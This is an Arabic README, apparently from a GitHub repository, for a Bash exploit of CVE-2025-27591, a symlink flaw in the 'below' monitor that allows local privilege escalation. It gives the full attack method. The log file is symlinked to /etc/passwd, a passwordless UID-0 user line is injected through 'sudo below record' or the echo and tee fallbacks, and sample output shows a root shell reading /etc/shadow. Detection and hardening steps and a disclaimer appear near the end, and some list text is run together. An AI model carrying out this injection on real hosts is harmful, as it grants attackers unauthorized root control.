
استغلال ثغرة تصعيد صلاحيات قائم على Bash يستهدف أداة مراقبة أداء النظام `below`. هذا الاستغلال المُجدَّد يستغل ثغرة في آلية التسجيل (symlink) لحقن مستخدم root في `/etc/passwd`، مما يُحقق وصولًا كاملًا للجذر.
استغلال لتصعيد الامتيازات يعتمد على Bash ويستهدف أداة مراقبة أداء النظام below. هذا الاستغلال المُجدد يستغل ثغرة الرابط الرمزي في آلية التسجيل لحقن مستخدم جذر في /etc/passwd، محققًا وصولاً كاملاً كجذر.
اكتشف وأبلغ به Matthias Gerstner @ SUSE - التنبيه الأمني
/usr/bin/below (مراقب أداء النظام من فيسبوك)/var/log/below/error_root.log → /etc/passwdتقوم أداة المراقبة below بتسجيل الأخطاء في /var/log/below/error_root.log عند التشغيل بصلاحيات مرتفعة. إذا كان دليل السجلات قابلاً للكتابة عالميًا، يمكن للمهاجم:
error_root.log إلى /etc/passwdbelow record لكتابة رسائل الخطأ في الرابط الرمزييقوم هذا الاستغلال بأتمتة العملية بالكامل مع آليات تراجع ذكية للتعامل مع تكوينات النظام المختلفة.
flowchart TD
A[Start Exploit] --> B[Get Username from User]
B --> C{Check /var/log/below<br/>World-Writable?}
C -->|No| D[Exit: Not Vulnerable]
C -->|Yes| E[Remove Existing error_root.log]
E --> F[Create Symlink:<br/>error_root.log → /etc/passwd]
F --> G{Symlink Created<br/>Successfully?}
G -->|No| D
G -->|Yes| H[Execute: sudo below record]
H --> I[Wait 3 seconds for logging]
I --> J[Kill below process]
J --> K{Payload in<br/>/etc/passwd?}
K -->|Yes| M[Success Path]
K -->|No| L[Attempt Manual Injection:<br/>echo payload >> symlink]
L --> N{Manual Injection<br/>Success?}
N -->|No| O[Try Fallback:<br/>sudo tee -a]
N -->|Yes| M
O --> P{Fallback<br/>Success?}
P -->|No| D
P -->|Yes| M
M --> Q[Verify Payload in /etc/passwd]
Q --> R[Disable Cleanup Trap]
R --> S[Execute: su username]
S --> T[Root Shell Obtained]
style A fill:#e1f5ff
style T fill:#90EE90
style D fill:#ffcccb
style M fill:#98fb98
مرحلة الفحص المسبق
/var/log/belowمرحلة الإعداد
error_root.log موجود/var/log/below/error_root.log → /etc/passwdمرحلة الحقن (الطريقة الأساسية)
sudo below record في الخلفية/etc/passwd بطريقة مفيدةمرحلة الحقن (طرق التراجع)
echo >> symlink)sudo tee -a)مرحلة الحصول على الشل
/etc/passwdيتبع إدخال /etc/passwd المُحقن هذا التنسيق:
username::0:0:username:/root:/bin/bash
تحليل الحقول:
username: اسم المستخدم المُقدم من المستخدم (الافتراضي: "0xdtc")::: حقل كلمة مرور فارغ (لا حاجة لكلمة مرور)0:0: UID=0، GID=0 (صلاحيات الجذر)username: حقل GECOS (وصف المستخدم)/root: الدليل الرئيسي/bin/bash: شل تسجيل الدخولbelow القابل للاستغلال/var/log/below قابلاً للكتابة عالميًاsudo لتنفيذ below record# Make script executable
chmod +x CVE-2025-27591
# Run the exploit
./CVE-2025-27591
========================================
CVE-2025-27591 Exploit (Bash)
========================================
[*] This exploit will create a new root user in /etc/passwd
[?] Enter username for the new root user (default: 0xdtc): myuser
[+] Using username: myuser
0xdtc@kali:/tmp$ ./CVE-2025-27591
========================================
CVE-2025-27591 Exploit (Bash)
========================================
[*] This exploit will create a new root user in /etc/passwd
[?] Enter username for the new root user (default: 0xdtc): 0xdtc
[+] Using username: 0xdtc
[*] Checking for CVE-2025-27591 vulnerability
[+] /var/log/below is world-writable
[*] Testing symlink creation
[+] Symlink test successful
[+] Target is vulnerable
[*] Starting exploitation
[+] Wrote payload to /tmp/exploit_payload
[*] Creating symlink: /var/log/below/error_root.log -> /etc/passwd
[+] Symlink created
[*] Executing 'sudo below record' to trigger logging
[*] Started 'below record' with PID: 12345
[*] Checking if payload was written
[*] Attempting manual injection
[*] Appending payload to /etc/passwd via symlink
[+] Payload appended
[+] Exploitation completed! Payload is in /etc/passwd
[*] Spawning root shell via 'su 0xdtc'
[*] Password should be empty, just press Enter
root@kali:/tmp# whoami
root
يتضمن البرنامج النصي آليات تراجع متعددة للتعامل مع تكوينات النظام المختلفة:
التعامل مع الملفات الموجودة
طرق الحقن المتعددة
below recordsudo teeإدارة العمليات
below العالقة تلقائيًاكشف إعادة التشغيل
/etc/passwd.
├── CVE-2025-27591 # Main exploitation script
├── README.md # This documentation
└── /tmp/exploit_payload # Temporary payload file (created at runtime)
بعد الاستغلال الناجح، تحقق من وصول الجذر:
# Check current user
root@target:/tmp# whoami
root
# Check user ID and groups
root@target:/tmp# id
uid=0(root) gid=0(root) groups=0(root)
# Verify user in /etc/passwd
root@target:/tmp# grep "^0xdtc:" /etc/passwd
0xdtc::0:0:0xdtc:/root:/bin/bash
# Read root-only files
root@target:/tmp# cat /etc/shadow
[... shadow file contents ...]
إذا كنت بحاجة إلى إزالة المستخدم الضار بعد الاختبار:
# Remove the injected user from /etc/passwd
sudo sed -i '/^username:/d' /etc/passwd
# Remove any leftover symlinks
rm -f /var/log/below/error_root.log
استبدل username باسم المستخدم الفعلي الذي استخدمته أثناء الاستغلال.
مراقبة تكامل الملفات
# Monitor /etc/passwd for unauthorized changes
aide --check
كشف الروابط الرمزية
# Check for suspicious symlinks in log directories
find /var/log -type l -ls
سجلات التدقيق
# Check for suspicious sudo usage
grep "below record" /var/log/auth.log
إصلاح صلاحيات الدليل
# Remove world-writable permission from log directory
sudo chmod 755 /var/log/below
سياسات AppArmor/SELinux
belowتحديث Below
مراقبة /etc/passwd
هذا الاستغلال مخصص للأغراض التعليمية واختبار الاختراق المصرح به فقط.
الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني. استخدم هذه الأداة فقط على الأنظمة التي لديك إذن صريح لإجراء اختبار أمني عليها. لا يتحمل المؤلف(ون) أي مسؤولية عن سوء استخدام هذه الأداة.
باستخدام هذا الاستغلال، فإنك تقر بأنك:
المستودع: https://github.com/0xDTC/ المؤلف: Divine Clown (0xDTC) الترخيص: للأغراض التعليمية فقط آخر تحديث: 2025-11-13
su <username> للحصول على شل الجذر